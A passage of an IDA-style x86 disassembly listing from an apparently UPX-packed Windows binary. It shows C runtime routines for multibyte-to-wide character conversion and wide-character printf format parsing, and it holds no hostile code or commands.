0FFFFFFFEh js short loc_412670 mov ecx, [esi] mov eax, [ebp+arg_0] mov [ecx], ax add dword ptr [esi], 2 jmp short loc_41267D ; --------------------------------------------------------------------------- loc_412670: ; CODE XREF: sub_412505+15Cj movzx eax, word ptr [ebp+arg_0] push esi push eax call sub_4154F0 pop ecx pop ecx loc_41267D: ; CODE XREF: sub_412505+119j ; sub_412505+156j ... mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn sub_412505 endp ; =============== S U B R O U T I N E ======================================= sub_41268C proc near ; CODE XREF: sub_40DB8F:loc_40DBB6p mov edi, edi push esi push edi xor edi, edi loc_412692: ; CODE XREF: sub_41268C+1Cj lea esi, dword_42ACF0[edi] push dword ptr [esi] call sub_40E0C8 add edi, 4 pop ecx mov [esi], eax cmp edi, 28h jb short loc_412692 pop edi pop esi retn sub_41268C endp ; =============== S U B R O U T I N E ======================================= sub_4126AD proc near ; CODE XREF: sub_4128E7+608p mov eax, dword_42A034 or eax, 1 xor ecx, ecx cmp dword_42ED40, eax setz cl mov eax, ecx retn sub_4126AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4126C3 proc near ; CODE XREF: sub_4127DA+10p ; sub_4128E7+51Cp ... var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_4126EB cmp [ebp+arg_8], ebx jz short loc_4126EB cmp [esi], bl jnz short loc_4126F1 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4126EB xor ecx, ecx mov [eax], cx loc_4126EB: ; CODE XREF: sub_4126C3+11j ; sub_4126C3+16j ... xor eax, eax loc_4126ED: ; CODE XREF: sub_4126C3+5Ej ; sub_4126C3+BFj ... pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4126F1: ; CODE XREF: sub_4126C3+1Aj push [ebp+arg_C] lea ecx, [ebp+var_10] call sub_40C799 mov eax, [ebp+var_10] cmp [eax+14h], ebx jnz short loc_412723 mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_412712 movzx cx, byte ptr [esi] mov [eax], cx loc_412712: ; CODE XREF: sub_4126C3+46j ; sub_4126C3+10Fj cmp [ebp+var_4], bl jz short loc_41271E mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_41271E: ; CODE XREF: sub_4126C3+52j xor eax, eax inc eax jmp short loc_4126ED ; --------------------------------------------------------------------------- loc_412723: ; CODE XREF: sub_4126C3+3Fj lea eax, [ebp+var_10] push eax movzx eax, byte ptr [esi] push eax call sub_4127F4 pop ecx pop ecx test eax, eax jz short loc_4127B3 mov eax, [ebp+var_10] mov ecx, [eax+0ACh] cmp ecx, 1 jle short loc_412769 cmp [ebp+arg_8], ecx jl short loc_412769 xor edx, edx cmp [ebp+arg_0], ebx setnz dl push edx push [ebp+arg_0] push ecx push esi push 9 push dword ptr [eax+4] call dword_41D1F4 ; MultiByteToWideChar test eax, eax mov eax, [ebp+var_10] jnz short loc_412779 loc_412769: ; CODE XREF: sub_4126C3+7Fj ; sub_4126C3+84j mov ecx, [ebp+arg_8] cmp ecx, [eax+0ACh] jb short loc_412794 cmp [esi+1], bl jz short loc_412794 loc_412779: ; CODE XREF: sub_4126C3+A4j mov eax, [eax+0ACh] cmp [ebp+var_4], bl jz loc_4126ED mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp loc_4126ED ; --------------------------------------------------------------------------- loc_412794: ; CODE XREF: sub_4126C3+AFj ; sub_4126C3+B4j ... call sub_40C862 mov dword ptr [eax], 2Ah cmp [ebp+var_4], bl jz short loc_4127AB mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_4127AB: ; CODE XREF: sub_4126C3+DFj or eax, 0FFFFFFFFh jmp loc_4126ED ; --------------------------------------------------------------------------- loc_4127B3: ; CODE XREF: sub_4126C3+71j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] mov eax, [ebp+var_10] push 1 push esi push 9 push dword ptr [eax+4] call dword_41D1F4 ; MultiByteToWideChar test eax, eax jnz loc_412712 jmp short loc_412794 sub_4126C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127DA proc near ; CODE XREF: sub_41105A+1E1p ; sub_41105A+205p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4126C3 add esp, 10h pop ebp retn sub_4127DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127F4 proc near ; CODE XREF: sub_4126C3+68p ; sub_41282C+Ap ... var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp sub esp, 10h push [ebp+arg_4] lea ecx, [ebp+var_10] call sub_40C799 movzx eax, [ebp+arg_0] mov ecx, [ebp+var_10] mov ecx, [ecx+0C8h] movzx eax, word ptr [ecx+eax*2] and eax, 8000h cmp [ebp+var_4], 0 jz short locret_41282A mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_41282A: ; CODE XREF: sub_4127F4+2Dj leave retn sub_4127F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41282C proc near ; CODE XREF: sub_41105A+1B7p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push 0 push [ebp+arg_0] call sub_4127F4 pop ecx pop ecx pop ebp retn sub_41282C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41283F proc near ; CODE XREF: sub_41286E+13p ; sub_412895+27p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp test byte ptr [eax+0Ch], 40h jz short loc_412850 cmp dword ptr [eax+8], 0 jz short loc_41286A loc_412850: ; CODE XREF: sub_41283F+9j push eax push [ebp+arg_0] call sub_412505 pop ecx pop ecx mov ecx, 0FFFFh cmp ax, cx jnz short loc_41286A or dword ptr [esi], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41286A: ; CODE XREF: sub_41283F+Fj ; sub_41283F+24j inc dword ptr [esi] pop ebp retn sub_41283F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41286E proc near ; CODE XREF: sub_4128E7+9FEp ; sub_4128E7+A40p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp push esi mov esi, eax jmp short loc_41288C ; --------------------------------------------------------------------------- loc_412878: ; CODE XREF: sub_41286E+22j push [ebp+arg_0] mov eax, [ebp+arg_8] dec [ebp+arg_4] call sub_41283F cmp dword ptr [esi], 0FFFFFFFFh pop ecx jz short loc_412892 loc_41288C: ; CODE XREF: sub_41286E+8j cmp [ebp+arg_4], 0 jg short loc_412878 loc_412892: ; CODE XREF: sub_41286E+1Cj pop esi pop ebp retn sub_41286E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412895 proc near ; CODE XREF: sub_4128E7+A1Ep ; sub_4128E7+AD3p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp test byte ptr [edi+0Ch], 40h push ebx push esi mov esi, eax mov ebx, ecx jz short loc_4128DD cmp dword ptr [edi+8], 0 jnz short loc_4128DD mov eax, [ebp+arg_0] add [esi], eax jmp short loc_4128E3 ; --------------------------------------------------------------------------- loc_4128B3: ; CODE XREF: sub_412895+4Cj movzx eax, word ptr [ebx] dec [ebp+arg_0] push eax mov eax, edi call sub_41283F inc ebx inc ebx cmp dword ptr [esi], 0FFFFFFFFh pop ecx jnz short loc_4128DD call sub_40C862 cmp dword ptr [eax], 2Ah jnz short loc_4128E3 push 3Fh mov eax, edi call sub_41283F pop ecx loc_4128DD: ; CODE XREF: sub_412895+Fj ; sub_412895+15j ... cmp [ebp+arg_0], 0 jg short loc_4128B3 loc_4128E3: ; CODE XREF: sub_412895+1Cj ; sub_412895+3Cj pop esi pop ebx pop ebp retn sub_412895 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4128E7 proc near ; DATA XREF: sub_40C9A3+51o var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_444 = dword ptr -444h var_440 = byte ptr -440h var_43C = dword ptr -43Ch var_438 = byte ptr -438h var_437 = byte ptr -437h var_434 = dword ptr -434h var_430 = word ptr -430h var_42E = word ptr -42Eh var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = word ptr -404h var_205 = byte ptr -205h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp sub esp, 474h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push ebx mov ebx, [ebp+arg_C] push esi mov esi, [ebp+arg_0] xor eax, eax push edi push [ebp+arg_8] mov edi, [ebp+arg_4] lea ecx, [ebp+var_44C] mov [ebp+var_43C], esi mov [ebp+var_418], ebx mov [ebp+var_454], eax mov [ebp+var_408], eax mov [ebp+var_42C], eax mov [ebp+var_40C], eax mov [ebp+var_424], eax mov [ebp+var_450], eax mov [ebp+var_428], eax call sub_40C799 test esi, esi jnz short loc_412987 loc_412952: ; CODE XREF: sub_4128E7+132j ; sub_4128E7+60Fj call sub_40C862 mov dword ptr [eax], 16h xor eax, eax push eax push eax push eax push eax push eax loc_412964: ; CODE XREF: sub_4128E7+B6j call sub_40B255 add esp, 14h cmp [ebp+var_440], 0 jz short loc_41297F mov eax, [ebp+var_444] and dword ptr [eax+70h], 0FFFFFFFDh loc_41297F: ; CODE XREF: sub_4128E7+8Cj or eax, 0FFFFFFFFh jmp loc_413456 ; --------------------------------------------------------------------------- loc_412987: ; CODE XREF: sub_4128E7+69j xor esi, esi cmp edi, esi jnz short loc_41299F loc_41298D: ; CODE XREF: sub_4128E7+B50j call sub_40C862 push esi push esi push esi push esi mov dword ptr [eax], 16h push esi jmp short loc_412964 ; --------------------------------------------------------------------------- loc_41299F: ; CODE XREF: sub_4128E7+A4j movzx ecx, word ptr [edi] mov [ebp+var_420], esi mov [ebp+var_414], esi mov [ebp+var_434], esi mov [ebp+var_458], esi mov [ebp+var_41C], ecx cmp cx, si jz loc_41343D loc_4129C9: ; CODE XREF: sub_4128E7+B3Cj push 2 pop edx add edi, edx cmp [ebp+var_420], esi mov [ebp+var_460], edi jl loc_413428 lea eax, [ecx-20h] cmp ax, 58h ja short loc_4129F8 movzx eax, cx movzx eax, byte ptr aSat[eax] ; "Sat" and eax, 0Fh jmp short loc_4129FA ; --------------------------------------------------------------------------- loc_4129F8: ; CODE XREF: sub_4128E7+100j xor eax, eax loc_4129FA: ; CODE XREF: sub_4128E7+10Fj mov esi, [ebp+var_434] imul eax, 9 movzx eax, byte_41EE90[eax+esi] push 8 shr eax, 4 pop esi mov [ebp+var_434], eax cmp eax, esi jz loc_412952 cmp eax, 7 ; switch 8 cases ja loc_413405 ; default jmp off_413467[eax*4] ; switch jump loc_412A2F: ; DATA XREF: UPX0:off_413467o xor eax, eax ; jumptable 00412A28 case 1 or [ebp+var_40C], 0FFFFFFFFh mov [ebp+var_45C], eax mov [ebp+var_450], eax mov [ebp+var_42C], eax mov [ebp+var_424], eax mov [ebp+var_408], eax mov [ebp+var_428], eax jmp loc_413411 ; --------------------------------------------------------------------------- loc_412A61: ; CODE XREF: sub_4128E7+141j ; DATA XREF: UPX0:off_413467o movzx eax, cx ; jumptable 00412A28 case 2 sub eax, 20h jz short loc_412AB1 sub eax, 3 jz short loc_412AA2 sub eax, esi jz short loc_412A96 sub eax, edx jz short loc_412A8A sub eax, 3 jnz loc_413405 ; default or [ebp+var_408], esi jmp loc_413411 ; --------------------------------------------------------------------------- loc_412A8A: ; CODE XREF: sub_4128E7+18Dj or [ebp+var_408], 4 jmp loc_413411 ; --------------------------------------------------------------------------- loc_412A96: ; CODE XREF: sub_4128E7+189j or [ebp+var_408], 1 jmp loc_413411 ; --------------------------------------------------------------------------- loc_412AA2: ; CODE XREF: sub_4128E7+185j or [ebp+var_408], 80h jmp loc_413411 ; --------------------------------------------------------------------------- loc_412AB1: ; CODE XREF: sub_4128E7+180j or [ebp+var_408], edx jmp loc_413411 ; --------------------------------------------------------------------------- loc_412ABC: ; CODE XREF: sub_4128E7+141j ; DATA XREF: UPX0:off_413467o cmp cx, 2Ah ; jumptable 00412A28 case 3 jnz short loc_412AED mov eax, [ebx] add ebx, 4 mov [ebp+var_418], ebx mov [ebp+var_42C], eax test eax, eax jge loc_413411 or [ebp+var_408], 4 neg [ebp+var_42C] jmp loc_413411 ; --------------------------------------------------------------------------- loc_412AED: ; CODE XREF: sub_4128E7+1D9j mov eax, [ebp+var_42C] imul eax, 0Ah movzx ecx, cx lea eax, [eax+ecx-30h] mov [ebp+var_42C], eax jmp loc_413411 ; --------------------------------------------------------------------------- loc_412B08: ; CODE XREF: sub_4128E7+141j ; DATA XREF: UPX0:off_413467o and [ebp+var_40C], 0 ; jumptable 00412A28 case 4 jmp loc_413411 ; --------------------------------------------------------------------------- loc_412B14: ; CODE XREF: sub_4128E7+141j ; DATA XREF: UPX0:off_413467o cmp cx, 2Ah ; jumptable 00412A28 case 5 jnz short loc_412B3F mov eax, [ebx] add ebx, 4 mov [ebp+var_418], ebx mov [ebp+var_40C], eax test eax, eax jge loc_413411 or [ebp+var_40C], 0FFFFFFFFh jmp loc_413411 ; --------------------------------------------------------------------------- loc_412B3F: ; CODE XREF: sub_4128E7+231j mov eax, [ebp+var_40C] imul eax, 0Ah movzx ecx, cx lea eax, [eax+ecx-30h] mov [ebp+var_40C], eax jmp loc_413411 ; --------------------------------------------------------------------------- loc_412B5A: ; CODE XREF: sub_4128E7+141j ; DATA XREF: UPX0:off_413467o movzx eax, cx ; jumptable 00412A28 case 6 cmp eax, 49h jz short loc_412BB3 cmp eax, 68h jz short loc_412BA7 cmp eax, 6Ch jz short loc_412B84 cmp eax, 77h jnz loc_413411 or [ebp+var_408], 800h jmp loc_413411 ; --------------------------------------------------------------------------- loc_412B84: ; CODE XREF: sub_4128E7+283j cmp word ptr [edi], 6Ch jnz short loc_412B9B add edi, edx or [ebp+var_408], 1000h jmp loc_413411 ; --------------------------------------------------------------------------- loc_412B9B: ; CODE XREF: sub_4128E7+2A1j or [ebp+var_408], 10h jmp loc_413411 ; --------------------------------------------------------------------------- loc_412BA7: ; CODE XREF: sub_4128E7+27Ej or [ebp+var_408], 20h jmp loc_413411 ; --------------------------------------------------------------------------- loc_412BB3: ; CODE XREF: sub_4128E7+279j movzx eax, word ptr [edi] cmp ax, 36h jnz short loc_412BD5 cmp word ptr [edi+2], 34h jnz short loc_412BD5 add edi, 4 or [ebp+var_408], 8000h jmp loc_413411 ; --------------------------------------------------------------------------- loc_412BD5: ; CODE XREF: sub_4128E7+2D3j ; sub_4128E7+2DAj cmp ax, 33h jnz short loc_412BF4 cmp word ptr [edi+2], 32h jnz short loc_412BF4 add edi, 4 and [ebp+var_408], 0FFFF7FFFh jmp loc_413411 ; --------------------------------------------------------------------------- loc_412BF4: ; CODE XREF: sub_4128E7+2F2j ; sub_4128E7+2F9j cmp ax, 64h jz loc_413411 cmp ax, 69h jz loc_413411 cmp ax, 6Fh jz loc_413411 cmp ax, 75h jz loc_413411 cmp ax, 78h jz loc_413411 cmp ax, 58h jz loc_413411 and [ebp+var_434], 0 loc_412C37: ; CODE XREF: sub_4128E7+141j ; DATA XREF: UPX0:off_413467o mov eax, [ebp+var_43C] ; jumptable 00412A28 case 0 push ecx lea esi, [ebp+var_420] mov [ebp+var_428], 1 call sub_41283F pop ecx jmp loc_413411 ; --------------------------------------------------------------------------- loc_412C59: ; CODE XREF: sub_4128E7+141j ; DATA XREF: UPX0:off_413467o movzx eax, cx ; jumptable 00412A28 case 7 cmp eax, 64h jg loc_412E95 jz loc_412F28 cmp eax, 53h jg loc_412D8F jz short loc_412CF4 sub eax, 41h jz short loc_412C8B sub eax, edx jz short loc_412CD8 sub eax, edx jz short loc_412C8B sub eax, edx jnz loc_413277 loc_412C8B: ; CODE XREF: sub_4128E7+392j ; sub_4128E7+39Aj add ecx, 20h mov [ebp+var_45C], 1 mov [ebp+var_41C], ecx loc_412C9E: ; CODE XREF: sub_4128E7+4BCj ; sub_4128E7+5C9j or [ebp+var_408], 40h cmp [ebp+var_40C], 0 lea esi, [ebp+var_404] mov eax, 200h mov [ebp+var_410], esi mov [ebp+var_414], eax jge loc_412F56 mov [ebp+var_40C], 6 jmp loc_412FC1 ; --------------------------------------------------------------------------- loc_412CD8: ; CODE XREF: sub_4128E7+396j test [ebp+var_408], 830h jnz loc_412DB1 or [ebp+var_408], 20h jmp loc_412DB1 ; --------------------------------------------------------------------------- loc_412CF4: ; CODE XREF: sub_4128E7+38Dj test [ebp+var_408], 830h jnz short loc_412D07 or [ebp+var_408], 20h loc_412D07: ; CODE XREF: sub_4128E7+417j ; sub_4128E7+7B0j mov edi, [ebp+var_40C] cmp edi, 0FFFFFFFFh jnz short loc_412D17 mov edi, 7FFFFFFFh loc_412D17: ; CODE XREF: sub_4128E7+429j add ebx, 4 test byte ptr [ebp+var_408], 20h mov [ebp+var_418], ebx mov ebx, [ebx-4] mov [ebp+var_410], ebx jz loc_41323B test ebx, ebx jnz short loc_412D45 mov eax, off_42ACE8 mov [ebp+var_410], eax loc_412D45: ; CODE XREF: sub_4128E7+451j and [ebp+var_414], 0 mov esi, [ebp+var_410] test edi, edi jle loc_413277 loc_412D5A: ; CODE XREF: sub_4128E7+4A1j mov al, [esi] test al, al jz loc_413277 lea ecx, [ebp+var_44C] movzx eax, al push ecx push eax call sub_4127F4 pop ecx pop ecx test eax, eax jz short loc_412D7B inc esi loc_412D7B: ; CODE XREF: sub_4128E7+491j inc esi inc [ebp+var_414] cmp [ebp+var_414], edi jl short loc_412D5A jmp loc_413277 ; --------------------------------------------------------------------------- loc_412D8F: ; CODE XREF: sub_4128E7+387j sub eax, 58h jz loc_413088 sub eax, edx jz loc_412E35 sub eax, 7 jz loc_412C9E sub eax, edx jnz loc_413277 loc_412DB1: ; CODE XREF: sub_4128E7+3FBj ; sub_4128E7+408j movzx eax, word ptr [ebx] add ebx, 4 xor esi, esi inc esi test byte ptr [ebp+var_408], 20h mov [ebp+var_428], esi mov [ebp+var_418], ebx mov [ebp+var_464], eax jz short loc_412E17 mov [ebp+var_438], al lea eax, [ebp+var_44C] push eax mov eax, [ebp+var_44C] mov [ebp+var_437], 0 push dword ptr [eax+0ACh] lea eax, [ebp+var_438] push eax lea eax, [ebp+var_404] push eax call sub_4126C3 add esp, 10h test eax, eax jge short loc_412E1E mov [ebp+var_450], esi jmp short loc_412E1E ; --------------------------------------------------------------------------- loc_412E17: ; CODE XREF: sub_4128E7+4ECj mov [ebp+var_404], ax loc_412E1E: ; CODE XREF: sub_4128E7+526j ; sub_4128E7+52Ej lea eax, [ebp+var_404] mov [ebp+var_410], eax mov [ebp+var_414], esi jmp loc_413277 ; --------------------------------------------------------------------------- loc_412E35: ; CODE XREF: sub_4128E7+4B3j mov eax, [ebx] add ebx, 4 mov [ebp+var_418], ebx test eax, eax jz short loc_412E7E mov ecx, [eax+4] test ecx, ecx jz short loc_412E7E test [ebp+var_408], 800h movsx eax, word ptr [eax] mov [ebp+var_410], ecx jz short loc_412E72 cdq sub eax, edx mov [ebp+var_428], 1 jmp loc_41326F ; --------------------------------------------------------------------------- loc_412E72: ; CODE XREF: sub_4128E7+577j and [ebp+var_428], 0 jmp loc_413271 ; --------------------------------------------------------------------------- loc_412E7E: ; CODE XREF: sub_4128E7+55Bj ; sub_4128E7+562j mov eax, off_42ACE8 mov [ebp+var_410], eax push eax loc_412E8A: ; CODE XREF: sub_4128E7+796j call sub_40BFB0 pop ecx jmp loc_413271 ; --------------------------------------------------------------------------- loc_412E95: ; CODE XREF: sub_4128E7+378j cmp eax, 70h jg loc_413094 jz loc_413082 cmp eax, 65h jl loc_413277 cmp eax, 67h jle loc_412C9E cmp eax, 69h jz short loc_412F28 cmp eax, 6Eh jz short loc_412EE4 cmp eax, 6Fh jnz loc_413277 test byte ptr [ebp+var_408], 80h mov [ebp+var_41C], esi jz short loc_412F39 or [ebp+var_408], 200h jmp short loc_412F39 ; --------------------------------------------------------------------------- loc_412EE4: ; CODE XREF: sub_4128E7+5D7j mov esi, [ebx] add ebx, 4 mov [ebp+var_418], ebx call sub_4126AD test eax, eax jz loc_412952 test byte ptr [ebp+var_408], 20h jz short loc_412F11 mov ax, word ptr [ebp+var_420] mov [esi], ax jmp short loc_412F19 ; --------------------------------------------------------------------------- loc_412F11: ; CODE XREF: sub_4128E7+61Cj mov eax, [ebp+var_420] mov [esi], eax loc_412F19: ; CODE XREF: sub_4128E7+628j mov [ebp+var_450], 1 jmp loc_4133E9 ; --------------------------------------------------------------------------- loc_412F28: ; CODE XREF: sub_4128E7+37Ej ; sub_4128E7+5D2j or [ebp+var_408], 40h loc_412F2F: ; CODE XREF: sub_4128E7+7B8j mov [ebp+var_41C], 0Ah loc_412F39: ; CODE XREF: sub_4128E7+5EFj ; sub_4128E7+5FBj ... test [ebp+var_408], 8000h jz loc_4130F4 loc_412F49: ; CODE XREF: sub_4128E7+817j add ebx, esi mov eax, [ebx-8] mov edx, [ebx-4] jmp loc_41313D ; --------------------------------------------------------------------------- loc_412F56: ; CODE XREF: sub_4128E7+3DCj jnz short loc_412F6A cmp cx, 67h jnz short loc_412FC1 mov [ebp+var_40C], 1 jmp short loc_412FC1 ; --------------------------------------------------------------------------- loc_412F6A: ; CODE XREF: sub_4128E7:loc_412F56j cmp [ebp+var_40C], eax jle short loc_412F78 mov [ebp+var_40C], eax loc_412F78: ; CODE XREF: sub_4128E7+689j cmp [ebp+var_40C], 0A3h jle short loc_412FC1 mov edi, [ebp+var_40C] add edi, 15Dh push edi call sub_40EF2A pop ecx mov ecx, [ebp+var_41C] mov [ebp+var_458], eax test eax, eax jz short loc_412FB7 mov [ebp+var_410], eax mov [ebp+var_414], edi mov esi, eax jmp short loc_412FC1 ; --------------------------------------------------------------------------- loc_412FB7: ; CODE XREF: sub_4128E7+6BEj mov [ebp+var_40C], 0A3h loc_412FC1: ; CODE XREF: sub_4128E7+3ECj ; sub_4128E7+675j ... mov eax, [ebx] add ebx, 8 mov [ebp+var_46C], eax mov eax, [ebx-4] mov [ebp+var_468], eax lea eax, [ebp+var_44C] push eax push [ebp+var_45C] movsx eax, cl push [ebp+var_40C] mov [ebp+var_418], ebx push eax push [ebp+var_414] lea eax, [ebp+var_46C] push esi push eax push dword_42AD08 call sub_40E143 pop ecx call eax mov ebx, [ebp+var_408] add esp, 1Ch and ebx, 80h jz short loc_413040 cmp [ebp+var_40C], 0 jnz short loc_413040 lea eax, [ebp+var_44C] push eax push esi push dword_42AD14 call sub_40E143 pop ecx call eax pop ecx pop ecx loc_413040: ; CODE XREF: sub_4128E7+736j ; sub_4128E7+73Fj cmp word ptr [ebp+var_41C], 67h jnz short loc_413066 test ebx, ebx jnz short loc_413066 lea eax, [ebp+var_44C] push eax push esi push dword_42AD10 call sub_40E143 pop ecx call eax pop ecx pop ecx loc_413066: ; CODE XREF: sub_4128E7+761j ; sub_4128E7+765j cmp byte ptr [esi], 2Dh jnz short loc_41307C or [ebp+var_408], 100h inc esi mov [ebp+var_410], esi loc_41307C: ; CODE XREF: sub_4128E7+782j push esi jmp loc_412E8A ; --------------------------------------------------------------------------- loc_413082: ; CODE XREF: sub_4128E7+5B7j mov [ebp+var_40C], esi loc_413088: ; CODE XREF: sub_4128E7+4ABj mov [ebp+var_454], 7 jmp short loc_4130B8 ; --------------------------------------------------------------------------- loc_413094: ; CODE XREF: sub_4128E7+5B1j sub eax, 73h jz loc_412D07 sub eax, edx jz loc_412F2F sub eax, 3 jnz loc_413277 mov [ebp+var_454], 27h loc_4130B8: ; CODE XREF: sub_4128E7+7ABj test byte ptr [ebp+var_408], 80h mov [ebp+var_41C], 10h jz loc_412F39 push 30h pop eax mov [ebp+var_430], ax mov eax, [ebp+var_454] add eax, 51h mov [ebp+var_42E], ax mov [ebp+var_424], edx jmp loc_412F39 ; --------------------------------------------------------------------------- loc_4130F4: ; CODE XREF: sub_4128E7+65Cj test [ebp+var_408], 1000h jnz loc_412F49 add ebx, 4 test byte ptr [ebp+var_408], 20h jz short loc_41312C test byte ptr [ebp+var_408], 40h mov [ebp+var_418], ebx jz short loc_413125 movsx eax, word ptr [ebx-4] jmp short loc_413129 ; --------------------------------------------------------------------------- loc_413125: ; CODE XREF: sub_4128E7+836j movzx eax, word ptr [ebx-4] loc_413129: ; CODE XREF: sub_4128E7+83Cj cdq jmp short loc_413143 ; --------------------------------------------------------------------------- loc_41312C: ; CODE XREF: sub_4128E7+827j test byte ptr [ebp+var_408], 40h mov eax, [ebx-4] jz short loc_41313B cdq jmp short loc_41313D ; --------------------------------------------------------------------------- loc_41313B: ; CODE XREF: sub_4128E7+84Fj xor edx, edx loc_41313D: ; CODE XREF: sub_4128E7+66Aj ; sub_4128E7+852j mov [ebp+var_418], ebx loc_413143: ; CODE XREF: sub_4128E7+843j test byte ptr [ebp+var_408], 40h jz short loc_413167 test edx, edx jg short loc_413167 jl short loc_413156 test eax, eax jnb short loc_413167 loc_413156: ; CODE XREF: sub_4128E7+869j neg eax adc edx, 0 neg edx or [ebp+var_408], 100h loc_413167: ; CODE XREF: sub_4128E7+863j ; sub_4128E7+867j ... test [ebp+var_408], 9000h mov ebx, edx mov edi, eax jnz short loc_413179 xor ebx, ebx loc_413179: ; CODE XREF: sub_4128E7+88Ej cmp [ebp+var_40C], 0 jge short loc_41318E mov [ebp+var_40C], 1 jmp short loc_4131A8 ; --------------------------------------------------------------------------- loc_41318E: ; CODE XREF: sub_4128E7+899j and [ebp+var_408], 0FFFFFFF7h mov eax, 200h cmp [ebp+var_40C], eax jle short loc_4131A8 mov [ebp+var_40C], eax loc_4131A8: ; CODE XREF: sub_4128E7+8A5j ; sub_4128E7+8B9j mov eax, edi or eax, ebx jnz short loc_4131B4 and [ebp+var_424], eax loc_4131B4: ; CODE XREF: sub_4128E7+8C5j lea esi, [ebp+var_205] loc_4131BA: ; CODE XREF: sub_4128E7+914j mov eax, [ebp+var_40C] dec [ebp+var_40C] test eax, eax jg short loc_4131D0 mov eax, edi or eax, ebx jz short loc_4131FD loc_4131D0: ; CODE XREF: sub_4128E7+8E1j mov eax, [ebp+var_41C] cdq push edx push eax push ebx push edi call sub_40F060 add ecx, 30h cmp ecx, 39h mov [ebp+var_470], ebx mov edi, eax mov ebx, edx jle short loc_4131F8 add ecx, [ebp+var_454] loc_4131F8: ; CODE XREF: sub_4128E7+909j mov [esi], cl dec esi jmp short loc_4131BA ; --------------------------------------------------------------------------- loc_4131FD: ; CODE XREF: sub_4128E7+8E7j lea eax, [ebp+var_205] sub eax, esi inc esi test [ebp+var_408], 200h mov [ebp+var_414], eax mov [ebp+var_410], esi jz short loc_413277 test eax, eax jz short loc_413229 mov ecx, esi cmp byte ptr [ecx], 30h jz short loc_413277 loc_413229: ; CODE XREF: sub_4128E7+939j dec [ebp+var_410] mov ecx, [ebp+var_410] mov byte ptr [ecx], 30h inc eax jmp short loc_413271 ; --------------------------------------------------------------------------- loc_41323B: ; CODE XREF: sub_4128E7+449j test ebx, ebx jnz short loc_41324A mov eax, off_42ACEC mov [ebp+var_410], eax loc_41324A: ; CODE XREF: sub_4128E7+956j mov eax, [ebp+var_410] mov [ebp+var_428], 1 jmp short loc_413265 ; --------------------------------------------------------------------------- loc_41325C: ; CODE XREF: sub_4128E7+980j dec edi cmp word ptr [eax], 0 jz short loc_413269 add eax, edx loc_413265: ; CODE XREF: sub_4128E7+973j test edi, edi jnz short loc_41325C loc_413269: ; CODE XREF: sub_4128E7+97Aj sub eax, [ebp+var_410] loc_41326F: ; CODE XREF: sub_4128E7+586j sar eax, 1 loc_413271: ; CODE XREF: sub_4128E7+592j ; sub_4128E7+5A9j ... mov [ebp+var_414], eax loc_413277: ; CODE XREF: sub_4128E7+39Ej ; sub_4128E7+46Dj ... cmp [ebp+var_450], 0 jnz loc_4133E9 mov eax, [ebp+var_408] test al, 40h jz short loc_4132B9 test eax, 100h jz short loc_413299 push 2Dh jmp short loc_4132A7 ; --------------------------------------------------------------------------- loc_413299: ; CODE XREF: sub_4128E7+9ACj test al, 1 jz short loc_4132A1 push 2Bh jmp short loc_4132A7 ; --------------------------------------------------------------------------- loc_4132A1: ; CODE XREF: sub_4128E7+9B4j test al, 2 jz short loc_4132B9 push 20h loc_4132A7: ; CODE XREF: sub_4128E7+9B0j ; sub_4128E7+9B8j pop eax mov [ebp+var_430], ax mov [ebp+var_424], 1 loc_4132B9: ; CODE XREF: sub_4128E7+9A5j ; sub_4128E7+9BCj mov ebx, [ebp+var_42C] mov esi, [ebp+var_414] sub ebx, esi sub ebx, [ebp+var_424] test byte ptr [ebp+var_408], 